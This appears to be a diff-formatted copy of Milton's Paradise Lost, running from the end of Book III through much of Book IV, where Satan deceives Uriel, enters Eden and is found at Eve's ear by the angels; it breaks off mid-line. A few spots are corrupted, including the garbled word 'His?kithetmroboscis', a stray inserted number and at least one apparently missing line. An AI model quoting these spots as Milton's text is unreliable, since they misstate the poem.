+Bear his swift errands over moist and dry, +O'er sea and land: him Satan thus accosts. +Uriel, for thou of those seven Spirits that stand +In sight of God's high throne, gloriously bright, +The first art wont his great authentick will +Interpreter through highest Heaven to bring, +Where all his sons thy embassy attend; +And here art likeliest by supreme decree +Like honour to obtain, and as his eye +To visit oft this new creation round; +Unspeakable desire to see, and know +All these his wonderous works, but chiefly Man, +His chief delight and favour, him for whom +All these his works so wonderous he ordained, +Hath brought me from the quires of Cherubim +Alone thus wandering. Brightest Seraph, tell +In which of all these shining orbs hath Man +His fixed seat, or fixed seat hath none, +But all these shining orbs his choice to dwell; +That I may find him, and with secret gaze +Or open admiration him behold, +On whom the great Creator hath bestowed +Worlds, and on whom hath all these graces poured; +That both in him and all things, as is meet, +The universal Maker we may praise; +Who justly hath driven out his rebel foes +To deepest Hell, and, to repair that loss, +Created this new happy race of Men +To serve him better: Wise are all his ways. +So spake the false dissembler unperceived; +For neither Man nor Angel can discern +Hypocrisy, the only evil that walks +Invisible, except to God alone, +By his permissive will, through Heaven and Earth: +And oft, though wisdom wake, suspicion sleeps +At wisdom's gate, and to simplicity +Resigns her charge, while goodness thinks no ill +Where no ill seems: Which now for once beguiled +Uriel, though regent of the sun, and held +The sharpest-sighted Spirit of all in Heaven; +Who to the fraudulent impostor foul, +In his uprightness, answer thus returned. +Fair Angel, thy desire, which tends to know +The works of God, thereby to glorify +The great Work-master, leads to no excess +That reaches blame, but rather merits praise +The more it seems excess, that led thee hither +From thy empyreal mansion thus alone, +To witness with thine eyes what some perhaps, +Contented with report, hear only in Heaven: +For wonderful indeed are all his works, +Pleasant to know, and worthiest to be all +Had in remembrance always with delight; +But what created mind can comprehend +Their number, or the wisdom infinite +That brought them forth, but hid their causes deep? +I saw when at his word the formless mass, +This world's material mould, came to a heap: +Confusion heard his voice, and wild uproar +Stood ruled, stood vast infinitude confined; +Till at his second bidding Darkness fled, +Light shone, and order from disorder sprung: +Swift to their several quarters hasted then +The cumbrous elements, earth, flood, air, fire; +And this ethereal quintessence of Heaven +Flew upward, spirited with various forms, +That rolled orbicular, and turned to stars +Numberless, as thou seest, and how they move; +Each had his place appointed, each his course; +The rest in circuit walls this universe. +Look downward on that globe, whose hither side +With light from hence, though but reflected, shines; +That place is Earth, the seat of Man; that light +His day, which else, as the other hemisphere, +Night would invade; but there the neighbouring moon +So call that opposite fair star) her aid +Timely interposes, and her monthly round +Still ending, still renewing, through mid Heaven, +With borrowed light her countenance triform +Hence fills and empties to enlighten the Earth, +And in her pale dominion checks the night. +That spot, to which I point, is Paradise, +Adam's abode; those lofty shades, his bower. +Thy way thou canst not miss, me mine requires. +Thus said, he turned; and Satan, bowing low, +As to superiour Spirits is wont in Heaven, +Where honour due and reverence none neglects, +Took leave, and toward the coast of earth beneath, +Down from the ecliptick, sped with hoped success, +Throws his steep flight in many an aery wheel; +Nor staid, till on Niphates' top he lights. + + + +Book IV + + +O, for that warning voice, which he, who saw +The Apocalypse, heard cry in Heaven aloud, +Then when the Dragon, put to second rout, +Came furious down to be revenged on men, +Woe to the inhabitants on earth! that now, +While time was, our first parents had been warned +The coming of their secret foe, and 'scaped, +Haply so 'scaped his mortal snare: For now +Satan, now first inflamed with rage, came down, +The tempter ere the accuser of mankind, +To wreak on innocent frail Man his loss +Of that first battle, and his flight to Hell: +Yet, not rejoicing in his speed, though bold +Far off and fearless, nor with cause to boast, +Begins his dire attempt; which nigh the birth +Now rolling boils in his tumultuous breast, +And like a devilish engine back recoils +Upon himself; horrour and doubt distract +His troubled thoughts, and from the bottom stir +The Hell within him; for within him Hell +He brings, and round about him, nor from Hell +One step, no more than from himself, can fly +By change of place: Now conscience wakes despair, +That slumbered; wakes the bitter memory +Of what he was, what is, and what must be +Worse; of worse deeds worse sufferings must ensue. +Sometimes towards Eden, which now in his view +Lay pleasant, his grieved look he fixes sad; +Sometimes towards Heaven, and the full-blazing sun, +Which now sat high in his meridian tower: +Then, much revolving, thus in sighs began. +O thou, that, with surpassing glory crowned, +Lookest from thy sole dominion like the God +Of this new world; at whose sight all the stars +Hide their diminished heads; to thee I call, +But with no friendly voice, and add thy name, +Of Sun! to tell thee how I hate thy beams, +That bring to my remembrance from what state +I fell, how glorious once above thy sphere; +Till pride and worse ambition threw me down +Warring in Heaven against Heaven's matchless King: +Ah, wherefore! he deserved no such return +From me, whom he created what I was +In that bright eminence, and with his good +Upbraided none; nor was his service hard. +What could be less than to afford him praise, +The easiest recompence, and pay him thanks, +How due! yet all his good proved ill in me, +And wrought but malice; lifted up so high +I sdeined subjection, and thought one step higher +Would set me highest, and in a moment quit +The debt immense of endless gratitude, +So burdensome still paying, still to owe, +Forgetful what from him I still received, +And understood not that a grateful mind +By owing owes not, but still pays, at once +Indebted and discharged; what burden then +O, had his powerful destiny ordained +Me some inferiour Angel, I had stood +Then happy; no unbounded hope had raised +Ambition! Yet why not some other Power +As great might have aspired, and me, though mean, +Drawn to his part; but other Powers as great +Fell not, but stand unshaken, from within +Or from without, to all temptations armed. +Hadst thou the same free will and power to stand? +Thou hadst: whom hast thou then or what to accuse, +But Heaven's free love dealt equally to all? +Be then his love accursed, since love or hate, +To me alike, it deals eternal woe. +Nay, cursed be thou; since against his thy will +Chose freely what it now so justly rues. +Me miserable! which way shall I fly +Infinite wrath, and infinite despair? +Which way I fly is Hell; myself am Hell; +And, in the lowest deep, a lower deep +Still threatening to devour me opens wide, +To which the Hell I suffer seems a Heaven. +O, then, at last relent: Is there no place +Left for repentance, none for pardon left? +None left but by submission; and that word +Disdain forbids me, and my dread of shame +Among the Spirits beneath, whom I seduced +With other promises and other vaunts +Than to submit, boasting I could subdue +The Omnipotent. Ay me! they little know +How dearly I abide that boast so vain, +Under what torments inwardly I groan, +While they adore me on the throne of Hell. +With diadem and scepter high advanced, +The lower still I fall, only supreme +In misery: Such joy ambition finds. +But say I could repent, and could obtain, +By act of grace, my former state; how soon +Would highth recall high thoughts, how soon unsay +What feigned submission swore? Ease would recant +Vows made in pain, as violent and void. +For never can true reconcilement grow, +Where wounds of deadly hate have pierced so deep: +Which would but lead me to a worse relapse +And heavier fall: so should I purchase dear +Short intermission bought with double smart. +This knows my Punisher; therefore as far +From granting he, as I from begging, peace; +All hope excluded thus, behold, in stead +Mankind created, and for him this world. +So farewell, hope; and with hope farewell, fear; +Farewell, remorse! all good to me is lost; +Evil, be thou my good; by thee at least +Divided empire with Heaven's King I hold, +By thee, and more than half perhaps will reign; +As Man ere long, and this new world, shall know. +Thus while he spake, each passion dimmed his face +Thrice changed with pale, ire, envy, and despair; +Which marred his borrowed visage, and betrayed +Him counterfeit, if any eye beheld. +For heavenly minds from such distempers foul +Are ever clear. Whereof he soon aware, +Each perturbation smoothed with outward calm, +Artificer of fraud; and was the first +That practised falsehood under saintly show, +Deep malice to conceal, couched with revenge: +Yet not enough had practised to deceive +Uriel once warned; whose eye pursued him down + The way he went, and on the Assyrian mount + Saw him disfigured, more than could befall + Spirit of happy sort; his gestures fierce + He marked and mad demeanour, then alone, + As he supposed, all unobserved, unseen. + So on he fares, and to the border comes + Of Eden, where delicious Paradise, + Now nearer, crowns with her enclosure green, + As with a rural mound, the champaign head + Of a steep wilderness, whose hairy sides +Access denied; and overhead upgrew + Insuperable height of loftiest shade, + Cedar, and pine, and fir, and branching palm, + A sylvan scene, and, as the ranks ascend, + Shade above shade, a woody theatre + Of stateliest view. Yet higher than their tops + The verdurous wall of Paradise upsprung; + + 00081429 +Which to our general sire gave prospect large +Into his nether empire neighbouring round. +And higher than that wall a circling row +Of goodliest trees, loaden with fairest fruit, +Blossoms and fruits at once of golden hue, +Appeared, with gay enamelled colours mixed: +On which the sun more glad impressed his beams +Than in fair evening cloud, or humid bow, +When God hath showered the earth; so lovely seemed +That landskip: And of pure now purer air +Meets his approach, and to the heart inspires +Vernal delight and joy, able to drive +All sadness but despair: Now gentle gales, +Fanning their odoriferous wings, dispense +Native perfumes, and whisper whence they stole +Those balmy spoils. As when to them who fail +Beyond the Cape of Hope, and now are past +Mozambick, off at sea north-east winds blow +Sabean odours from the spicy shore +Of Araby the blest; with such delay +Well pleased they slack their course, and many a league +Cheered with the grateful smell old Ocean smiles: +So entertained those odorous sweets the Fiend, +Who came their bane; though with them better pleased +Than Asmodeus with the fishy fume +That drove him, though enamoured, from the spouse +Of Tobit's son, and with a vengeance sent +From Media post to Egypt, there fast bound. +Now to the ascent of that steep savage hill +Satan had journeyed on, pensive and slow; +But further way found none, so thick entwined, +As one continued brake, the undergrowth +Of shrubs and tangling bushes had perplexed +All path of man or beast that passed that way. +One gate there only was, and that looked east +On the other side: which when the arch-felon saw, +Due entrance he disdained; and, in contempt, +At one flight bound high over-leaped all bound +Of hill or highest wall, and sheer within +Lights on his feet. As when a prowling wolf, +Whom hunger drives to seek new haunt for prey, +Watching where shepherds pen their flocks at eve +In hurdled cotes amid the field secure, +Leaps o'er the fence with ease into the fold: +Or as a thief, bent to unhoard the cash +Of some rich burgher, whose substantial doors, +Cross-barred and bolted fast, fear no assault, +In at the window climbs, or o'er the tiles: +So clomb this first grand thief into God's fold; +So since into his church lewd hirelings climb. +Thence up he flew, and on the tree of life, +The middle tree and highest there that grew, +Sat like a cormorant; yet not true life +Thereby regained, but sat devising death +To them who lived; nor on the virtue thought +Of that life-giving plant, but only used +For prospect, what well used had been the pledge +Of immortality. So little knows +Any, but God alone, to value right +The good before him, but perverts best things +To worst abuse, or to their meanest use. +Beneath him with new wonder now he views, +To all delight of human sense exposed, +In narrow room, Nature's whole wealth, yea more, +A Heaven on Earth: For blissful Paradise +Of God the garden was, by him in the east +Of Eden planted; Eden stretched her line +From Auran eastward to the royal towers +Of great Seleucia, built by Grecian kings, +Of where the sons of Eden long before +Dwelt in Telassar: In this pleasant soil +His far more pleasant garden God ordained; +Out of the fertile ground he caused to grow +All trees of noblest kind for sight, smell, taste; +And all amid them stood the tree of life, +High eminent, blooming ambrosial fruit +Of vegetable gold; and next to life, +Our death, the tree of knowledge, grew fast by, +Knowledge of good bought dear by knowing ill. +Southward through Eden went a river large, +Nor changed his course, but through the shaggy hill +Passed underneath ingulfed; for God had thrown +That mountain as his garden-mould high raised +Upon the rapid current, which, through veins +Of porous earth with kindly thirst up-drawn, +Rose a fresh fountain, and with many a rill +Watered the garden; thence united fell +Down the steep glade, and met the nether flood, +Which from his darksome passage now appears, +And now, divided into four main streams, +Runs diverse, wandering many a famous realm +And country, whereof here needs no account; +But rather to tell how, if Art could tell, +How from that sapphire fount the crisped brooks, +Rolling on orient pearl and sands of gold, +With mazy errour under pendant shades +Ran nectar, visiting each plant, and fed +Flowers worthy of Paradise, which not nice Art +In beds and curious knots, but Nature boon +Poured forth profuse on hill, and dale, and plain, +Both where the morning sun first warmly smote +The open field, and where the unpierced shade +Imbrowned the noontide bowers: Thus was this place +A happy rural seat of various view; +Groves whose rich trees wept odorous gums and balm, +Others whose fruit, burnished with golden rind, +Hung amiable, Hesperian fables true, +If true, here only, and of delicious taste: +Betwixt them lawns, or level downs, and flocks +Grazing the tender herb, were interposed, +Or palmy hillock; or the flowery lap +Of some irriguous valley spread her store, +Flowers of all hue, and without thorn the rose: +Another side, umbrageous grots and caves +Of cool recess, o'er which the mantling vine +Lays forth her purple grape, and gently creeps +Luxuriant; mean while murmuring waters fall +Down the slope hills, dispersed, or in a lake, +That to the fringed bank with myrtle crowned +Her crystal mirrour holds, unite their streams. +The birds their quire apply; airs, vernal airs, +Breathing the smell of field and grove, attune +The trembling leaves, while universal Pan, +Knit with the Graces and the Hours in dance, +Led on the eternal Spring. Not that fair field +Of Enna, where Proserpine gathering flowers, +Herself a fairer flower by gloomy Dis +Was gathered, which cost Ceres all that pain +To seek her through the world; nor that sweet grove +Of Daphne by Orontes, and the inspired +Castalian spring, might with this Paradise +Of Eden strive; nor that Nyseian isle +Girt with the river Triton, where old Cham, +Whom Gentiles Ammon call and Libyan Jove, +Hid Amalthea, and her florid son +Young Bacchus, from his stepdame Rhea's eye; +Nor where Abassin kings their issue guard, +Mount Amara, though this by some supposed +True Paradise under the Ethiop line +By Nilus' head, enclosed with shining rock, +A whole day's journey high, but wide remote +From this Assyrian garden, where the Fiend +Saw, undelighted, all delight, all kind +Of living creatures, new to sight, and strange +Two of far nobler shape, erect and tall, +Godlike erect, with native honour clad +In naked majesty seemed lords of all: +And worthy seemed; for in their looks divine +The image of their glorious Maker shone, +Truth, wisdom, sanctitude severe and pure, +(Severe, but in true filial freedom placed,) +Whence true authority in men; though both +Not equal, as their sex not equal seemed; +For contemplation he and valour formed; +For softness she and sweet attractive grace; +He for God only, she for God in him: +His fair large front and eye sublime declared +Absolute rule; and hyacinthine locks +Round from his parted forelock manly hung +Clustering, but not beneath his shoulders broad: +She, as a veil, down to the slender waist +Her unadorned golden tresses wore +Dishevelled, but in wanton ringlets waved +As the vine curls her tendrils, which implied +Subjection, but required with gentle sway, +And by her yielded, by him best received, +Yielded with coy submission, modest pride, +And sweet, reluctant, amorous delay. +Nor those mysterious parts were then concealed; +Then was not guilty shame, dishonest shame +Of nature's works, honour dishonourable, +Sin-bred, how have ye troubled all mankind +With shows instead, mere shows of seeming pure, +And banished from man's life his happiest life, +Simplicity and spotless innocence! +So passed they naked on, nor shunned the sight +Of God or Angel; for they thought no ill: +So hand in hand they passed, the loveliest pair, +That ever since in love's embraces met; +Adam the goodliest man of men since born +His sons, the fairest of her daughters Eve. +Under a tuft of shade that on a green +Stood whispering soft, by a fresh fountain side +They sat them down; and, after no more toil +Of their sweet gardening labour than sufficed +To recommend cool Zephyr, and made ease +More easy, wholesome thirst and appetite +More grateful, to their supper-fruits they fell, +Nectarine fruits which the compliant boughs +Yielded them, side-long as they sat recline +On the soft downy bank damasked with flowers: +The savoury pulp they chew, and in the rind, +Still as they thirsted, scoop the brimming stream; +Nor gentle purpose, nor endearing smiles +Wanted, nor youthful dalliance, as beseems +Fair couple, linked in happy nuptial league, +Alone as they. About them frisking played +All beasts of the earth, since wild, and of all chase +In wood or wilderness, forest or den; +Sporting the lion ramped, and in his paw +Dandled the kid; bears, tigers, ounces, pards, +Gambolled before them; the unwieldy elephant, +To make them mirth, used all his might, and wreathed +His?kithetmroboscis; close the serpent sly, +Insinuating, wove with Gordian twine +His braided train, and of his fatal guile +Gave proof unheeded; others on the grass +Couched, and now filled with pasture gazing sat, +Or bedward ruminating; for the sun, +Declined, was hasting now with prone career +To the ocean isles, and in the ascending scale +Of Heaven the stars that usher evening rose: +When Satan still in gaze, as first he stood, +Scarce thus at length failed speech recovered sad. +O Hell! what do mine eyes with grief behold! +Into our room of bliss thus high advanced +Creatures of other mould, earth-born perhaps, +Not Spirits, yet to heavenly Spirits bright +Little inferiour; whom my thoughts pursue +With wonder, and could love, so lively shines +In them divine resemblance, and such grace +The hand that formed them on their shape hath poured. +Ah! gentle pair, ye little think how nigh +Your change approaches, when all these delights +Will vanish, and deliver ye to woe; +More woe, the more your taste is now of joy; +Happy, but for so happy ill secured +Long to continue, and this high seat your Heaven +Ill fenced for Heaven to keep out such a foe +As now is entered; yet no purposed foe +To you, whom I could pity thus forlorn, +Though I unpitied: League with you I seek, +And mutual amity, so strait, so close, +That I with you must dwell, or you with me +Henceforth; my dwelling haply may not please, +Like this fair Paradise, your sense; yet such +Accept your Maker's work; he gave it me, +Which I as freely give: Hell shall unfold, +To entertain you two, her widest gates, +And send forth all her kings; there will be room, +Not like these narrow limits, to receive +Your numerous offspring; if no better place, +Thank him who puts me loth to this revenge +On you who wrong me not for him who wronged. +And should I at your harmless innocence +Melt, as I do, yet publick reason just, +Honour and empire with revenge enlarged, +By conquering this new world, compels me now +To do what else, though damned, I should abhor. +So spake the Fiend, and with necessity, +The tyrant's plea, excused his devilish deeds. +Then from his lofty stand on that high tree +Down he alights among the sportful herd +Of those four-footed kinds, himself now one, +Now other, as their shape served best his end +Nearer to view his prey, and, unespied, +To mark what of their state he more might learn, +By word or action marked. About them round +A lion now he stalks with fiery glare; +Then as a tiger, who by chance hath spied +In some purlieu two gentle fawns at play, +Straight couches close, then, rising, changes oft +His couchant watch, as one who chose his ground, +Whence rushing, he might surest seize them both, +Griped in each paw: when, Adam first of men +To first of women Eve thus moving speech, +Turned him, all ear to hear new utterance flow. +Sole partner, and sole part, of all these joys, +Dearer thyself than all; needs must the Power +That made us, and for us this ample world, +Be infinitely good, and of his good +As liberal and free as infinite; +That raised us from the dust, and placed us here +In all this happiness, who at his hand +Have nothing merited, nor can perform +Aught whereof he hath need; he who requires +From us no other service than to keep +This one, this easy charge, of all the trees +In Paradise that bear delicious fruit +So various, not to taste that only tree +Of knowledge, planted by the tree of life; +So near grows death to life, whate'er death is, +Some dreadful thing no doubt; for well thou knowest +God hath pronounced it death to taste that tree, +The only sign of our obedience left, +Among so many signs of power and rule +Conferred upon us, and dominion given +Over all other creatures that possess +Earth, air, and sea. Then let us not think hard +One easy prohibition, who enjoy +Free leave so large to all things else, and choice +Unlimited of manifold delights: +But let us ever praise him, and extol +His bounty, following our delightful task, +To prune these growing plants, and tend these flowers, +Which were it toilsome, yet with thee were sweet. +To whom thus Eve replied. O thou for whom +And from whom I was formed, flesh of thy flesh, +And without whom am to no end, my guide +And head! what thou hast said is just and right. +For we to him indeed all praises owe, +And daily thanks; I chiefly, who enjoy +So far the happier lot, enjoying thee +Pre-eminent by so much odds, while thou +Like consort to thyself canst no where find. +That day I oft remember, when from sleep +I first awaked, and found myself reposed +Under a shade on flowers, much wondering where +And what I was, whence thither brought, and how. +Not distant far from thence a murmuring sound +Of waters issued from a cave, and spread +Into a liquid plain, then stood unmoved +Pure as the expanse of Heaven; I thither went +With unexperienced thought, and laid me down +On the green bank, to look into the clear +Smooth lake, that to me seemed another sky. +As I bent down to look, just opposite +A shape within the watery gleam appeared, +Bending to look on me: I started back, +It started back; but pleased I soon returned, +Pleased it returned as soon with answering looks +Of sympathy and love: There I had fixed +Mine eyes till now, and pined with vain desire, +Had not a voice thus warned me; 'What thou seest, +'What there thou seest, fair Creature, is thyself; +'With thee it came and goes: but follow me, +'And I will bring thee where no shadow stays +'Thy coming, and thy soft embraces, he +'Whose image thou art; him thou shalt enjoy +'Inseparably thine, to him shalt bear +'Multitudes like thyself, and thence be called +'Mother of human race.' What could I do, +But follow straight, invisibly thus led? +Till I espied thee, fair indeed and tall, +Under a platane; yet methought less fair, +Less winning soft, less amiably mild, +Than that smooth watery image: Back I turned; +Thou following cryedst aloud, 'Return, fair Eve; +'Whom flyest thou? whom thou flyest, of him thou art, +'His flesh, his bone; to give thee being I lent +'Out of my side to thee, nearest my heart, +'Substantial life, to have thee by my side +'Henceforth an individual solace dear; +'Part of my soul I seek thee, and thee claim +'My other half:' With that thy gentle hand +Seised mine: I yielded;and from that time see +How beauty is excelled by manly grace, +And wisdom, which alone is truly fair. +So spake our general mother, and with eyes +Of conjugal attraction unreproved, +And meek surrender, half-embracing leaned +On our first father; half her swelling breast +Naked met his, under the flowing gold +Of her loose tresses hid: he in delight +Both of her beauty, and submissive charms, +Smiled with superiour love, as Jupiter +On Juno smiles, when he impregns the clouds +That shed Mayflowers; and pressed her matron lip +With kisses pure: Aside the Devil turned +For envy; yet with jealous leer malign +Eyed them askance, and to himself thus plained. +Sight hateful, sight tormenting! thus these two, +Imparadised in one another's arms, +The happier Eden, shall enjoy their fill +Of bliss on bliss; while I to Hell am thrust, +Where neither joy nor love, but fierce desire, +Among our other torments not the least, +Still unfulfilled with pain of longing pines. +Yet let me not forget what I have gained +From their own mouths: All is not theirs, it seems; +One fatal tree there stands, of knowledge called, +Forbidden them to taste: Knowledge forbidden +Suspicious, reasonless. Why should their Lord +Envy them that? Can it be sin to know? +Can it be death? And do they only stand +By ignorance? Is that their happy state, +The proof of their obedience and their faith? +O fair foundation laid whereon to build +Their ruin! hence I will excite their minds +With more desire to know, and to reject +Envious commands, invented with design +To keep them low, whom knowledge might exalt +Equal with Gods: aspiring to be such, +They taste and die: What likelier can ensue +But first with narrow search I must walk round +This garden, and no corner leave unspied; +A chance but chance may lead where I may meet +Some wandering Spirit of Heaven by fountain side, +Or in thick shade retired, from him to draw +What further would be learned. Live while ye may, +Yet happy pair; enjoy, till I return, +Short pleasures, for long woes are to succeed! +So saying, his proud step he scornful turned, +But with sly circumspection, and began +Through wood, through waste, o'er hill, o'er dale, his roam +Mean while in utmost longitude, where Heaven +With earth and ocean meets, the setting sun +Slowly descended, and with right aspect +Against the eastern gate of Paradise +Levelled his evening rays: It was a rock +Of alabaster, piled up to the clouds, +Conspicuous far, winding with one ascent +Accessible from earth, one entrance high; +The rest was craggy cliff, that overhung +Still as it rose, impossible to climb. +Betwixt these rocky pillars Gabriel sat, +Chief of the angelick guards, awaiting night; +About him exercised heroick games +The unarmed youth of Heaven, but nigh at hand +Celestial armoury, shields, helms, and spears, +Hung high with diamond flaming, and with gold. +Thither came Uriel, gliding through the even +On a sun-beam, swift as a shooting star +In autumn thwarts the night, when vapours fired +Impress the air, and shows the mariner +From what point of his compass to beware +Impetuous winds: He thus began in haste. +Gabriel, to thee thy course by lot hath given +Charge and strict watch, that to this happy place +No evil thing approach or enter in. +This day at highth of noon came to my sphere +A Spirit, zealous, as he seemed, to know +More of the Almighty's works, and chiefly Man, +God's latest image: I described his way +Bent all on speed, and marked his aery gait; +But in the mount that lies from Eden north, +Where he first lighted, soon discerned his looks +Alien from Heaven, with passions foul obscured: +Mine eye pursued him still, but under shade +Lost sight of him: One of the banished crew, +I fear, hath ventured from the deep, to raise +New troubles; him thy care must be to find. +To whom the winged warriour thus returned. +Uriel, no wonder if thy perfect sight, +Amid the sun's bright circle where thou sitst, +See far and wide: In at this gate none pass +The vigilance here placed, but such as come +Well known from Heaven; and since meridian hour +No creature thence: If Spirit of other sort, +So minded, have o'er-leaped these earthly bounds +On purpose, hard thou knowest it to exclude +Spiritual substance with corporeal bar. +But if within the circuit of these walks, +In whatsoever shape he lurk, of whom +Thou tellest, by morrow dawning I shall know. +So promised he; and Uriel to his charge +Returned on that bright beam, whose point now raised +Bore him slope downward to the sun now fallen +Beneath the Azores; whether the prime orb, +Incredible how swift, had thither rolled +Diurnal, or this less volubil earth, +By shorter flight to the east, had left him there +Arraying with reflected purple and gold +The clouds that on his western throne attend. +Now came still Evening on, and Twilight gray +Had in her sober livery all things clad; +Silence accompanied; for beast and bird, +They to their grassy couch, these to their nests +Were slunk, all but the wakeful nightingale; +She all night long her amorous descant sung; +Silence was pleased: Now glowed the firmament +With living sapphires: Hesperus, that led +The starry host, rode brightest, till the moon, +Rising in clouded majesty, at length +Apparent queen unveiled her peerless light, +And o'er the dark her silver mantle threw. +When Adam thus to Eve. Fair Consort, the hour +Of night, and all things now retired to rest, +Mind us of like repose; since God hath set +Labour and rest, as day and night, to men +Successive; and the timely dew of sleep, +Now falling with soft slumbrous weight, inclines +Our eye-lids: Other creatures all day long +Rove idle, unemployed, and less need rest; +Man hath his daily work of body or mind +Appointed, which declares his dignity, +And the regard of Heaven on all his ways; +While other animals unactive range, +And of their doings God takes no account. +To-morrow, ere fresh morning streak the east +With first approach of light, we must be risen, +And at our pleasant labour, to reform +Yon flowery arbours, yonder alleys green, +Our walk at noon, with branches overgrown, +That mock our scant manuring, and require +More hands than ours to lop their wanton growth: +Those blossoms also, and those dropping gums, +That lie bestrown, unsightly and unsmooth, +Ask riddance, if we mean to tread with ease; +Mean while, as Nature wills, night bids us rest. +To whom thus Eve, with perfect beauty adorned +My Author and Disposer, what thou bidst +Unargued I obey: So God ordains; +God is thy law, thou mine: To know no more +Is woman's happiest knowledge, and her praise. +With thee conversing I forget all time; +All seasons, and their change, all please alike. +Sweet is the breath of Morn, her rising sweet, +With charm of earliest birds: pleasant the sun, +When first on this delightful land he spreads +His orient beams, on herb, tree, fruit, and flower, +Glistering with dew; fragrant the fertile earth +After soft showers; and sweet the coming on +Of grateful Evening mild; then silent Night, +With this her solemn bird, and this fair moon, +And these the gems of Heaven, her starry train: +But neither breath of Morn, when she ascends +With charm of earliest birds; nor rising sun +On this delightful land; nor herb, fruit, flower, +Glistering with dew; nor fragrance after showers; +Nor grateful Evening mild; nor silent Night, +With this her solemn bird, nor walk by moon, +Or glittering star-light, without thee is sweet. +But wherefore all night long shine these? for whom +This glorious sight, when sleep hath shut all eyes? +To whom our general ancestor replied. +Daughter of God and Man, accomplished Eve, +These have their course to finish round the earth, +By morrow evening, and from land to land +In order, though to nations yet unborn, +Ministring light prepared, they set and rise; +Lest total Darkness should by night regain +Her old possession, and extinguish life +In Nature and all things; which these soft fires +Not only enlighten, but with kindly heat +Of various influence foment and warm, +Temper or nourish, or in part shed down +Their stellar virtue on all kinds that grow +On earth, made hereby apter to receive +Perfection from the sun's more potent ray. +These then, though unbeheld in deep of night, +Shine not in vain; nor think, though men were none, +That Heaven would want spectators, God want praise: +Millions of spiritual creatures walk the earth +Unseen, both when we wake, and when we sleep: +All these with ceaseless praise his works behold +Both day and night: How often from the steep +Of echoing hill or thicket have we heard +Celestial voices to the midnight air, +Sole, or responsive each to others note, +Singing their great Creator? oft in bands +While they keep watch, or nightly rounding walk, +With heavenly touch of instrumental sounds +In full harmonick number joined, their songs +Divide the night, and lift our thoughts to Heaven. +Thus talking, hand in hand alone they passed +On to their blissful bower: it was a place +Chosen by the sovran Planter, when he framed +All things to Man's delightful use; the roof +Of thickest covert was inwoven shade +Laurel and myrtle, and what higher grew +Of firm and fragrant leaf; on either side +Acanthus, and each odorous bushy shrub, +Fenced up the verdant wall; each beauteous flower, +Iris all hues, roses, and jessamin, +Reared high their flourished heads between, and wrought +Mosaick; underfoot the violet, +Crocus, and hyacinth, with rich inlay +Broidered the ground, more coloured than with stone +Of costliest emblem: Other creature here, +Bird, beast, insect, or worm, durst enter none, +Such was their awe of Man. In shadier bower +More sacred and sequestered, though but feigned, +Pan or Sylvanus never slept, nor Nymph +Nor Faunus haunted. Here, in close recess, +With flowers, garlands, and sweet-smelling herbs, +Espoused Eve decked first her nuptial bed; +And heavenly quires the hymenaean sung, +What day the genial Angel to our sire +Brought her in naked beauty more adorned, +More lovely, than Pandora, whom the Gods +Endowed with all their gifts, and O! too like +In sad event, when to the unwiser son +Of Japhet brought by Hermes, she ensnared +Mankind with her fair looks, to be avenged +On him who had stole Jove's authentick fire. +Thus, at their shady lodge arrived, both stood, +Both turned, and under open sky adored +The God that made both sky, air, earth, and heaven, +Which they beheld, the moon's resplendent globe, +And starry pole: Thou also madest the night, +Maker Omnipotent, and thou the day, +Which we, in our appointed work employed, +Have finished, happy in our mutual help +And mutual love, the crown of all our bliss +Ordained by thee; and this delicious place +For us too large, where thy abundance wants +Partakers, and uncropt falls to the ground. +But thou hast promised from us two a race +To fill the earth, who shall with us extol +Thy goodness infinite, both when we wake, +And when we seek, as now, thy gift of sleep. +This said unanimous, and other rites +Observing none, but adoration pure +Which God likes best, into their inmost bower +Handed they went; and, eased the putting off +These troublesome disguises which we wear, +Straight side by side were laid; nor turned, I ween, +Adam from his fair spouse, nor Eve the rites +Mysterious of connubial love refused: +Whatever hypocrites austerely talk +Of purity, and place, and innocence, +Defaming as impure what God declares +Pure, and commands to some, leaves free to all. +Our Maker bids encrease; who bids abstain +But our Destroyer, foe to God and Man? +Hail, wedded Love, mysterious law, true source +Of human offspring, sole propriety +In Paradise of all things common else! +By thee adulterous Lust was driven from men +Among the bestial herds to range; by thee +Founded in reason, loyal, just, and pure, +Relations dear, and all the charities +Of father, son, and brother, first were known. +Far be it, that I should write thee sin or blame, +Or think thee unbefitting holiest place, +Perpetual fountain of domestick sweets, +Whose bed is undefiled and chaste pronounced, +Present, or past, as saints and patriarchs used. +Here Love his golden shafts employs, here lights +His constant lamp, and waves his purple wings, +Reigns here and revels; not in the bought smile +Of harlots, loveless, joyless, unendeared, +Casual fruition; nor in court-amours, +Mixed dance, or wanton mask, or midnight ball, +Or serenate, which the starved lover sings +To his proud fair, best quitted with disdain. +These, lulled by nightingales, embracing slept, +And on their naked limbs the flowery roof +Showered roses, which the morn repaired. Sleep on, +Blest pair; and O!yet happiest, if ye seek +No happier state, and know to know no more. +Now had night measured with her shadowy cone +Half way up hill this vast sublunar vault, +And from their ivory port the Cherubim, +Forth issuing at the accustomed hour, stood armed +To their night watches in warlike parade; +When Gabriel to his next in power thus spake. +Uzziel, half these draw off, and coast the south +With strictest watch; these other wheel the north; +Our circuit meets full west. As flame they part, +Half wheeling to the shield, half to the spear. +From these, two strong and subtle Spirits he called +That near him stood, and gave them thus in charge. +Ithuriel and Zephon, with winged speed +Search through this garden, leave unsearched no nook; +But chiefly where those two fair creatures lodge, +Now laid perhaps asleep, secure of harm. +This evening from the sun's decline arrived, +Who tells of some infernal Spirit seen +Hitherward bent (who could have thought?) escaped +The bars of Hell, on errand bad no doubt: +Such, where ye find, seise fast, and hither bring. +So saying, on he led his radiant files, +Dazzling the moon; these to the bower direct +In search of whom they sought: Him there they found +Squat like a toad, close at the ear of Eve, +Assaying by his devilish art to reach +The organs of her fancy, and with them forge +Illusions, as he list, phantasms and dreams; +Or if, inspiring venom, he might taint +The animal spirits, that from pure blood arise +Like gentle breaths from rivers pure, thence raise +At least distempered, discontented thoughts, +Vain hopes, vain aims, inordinate desires, +Blown up with high conceits ingendering pride. +Him thus intent Ithuriel with his spear +Touched lightly; for no falshood can endure +Touch of celestial temper, but returns +Of force to its own likeness: Up he starts +Discovered and surprised. As when a spark +Lights on a heap of nitrous powder, laid +Fit for the tun some magazine to store +Against a rumoured war, the smutty grain, +With sudden blaze diffused, inflames the air; +So started up in his own shape the Fiend. +Back stept those two fair Angels, half amazed +So sudden to behold the grisly king; +Yet thus, unmoved with fear, accost him soon. +Which of those rebel Spirits adjudged to Hell +Comest thou, escaped thy prison? and, transformed, +Why sat'st thou like an enemy in wait, +Here watching at the head of these that 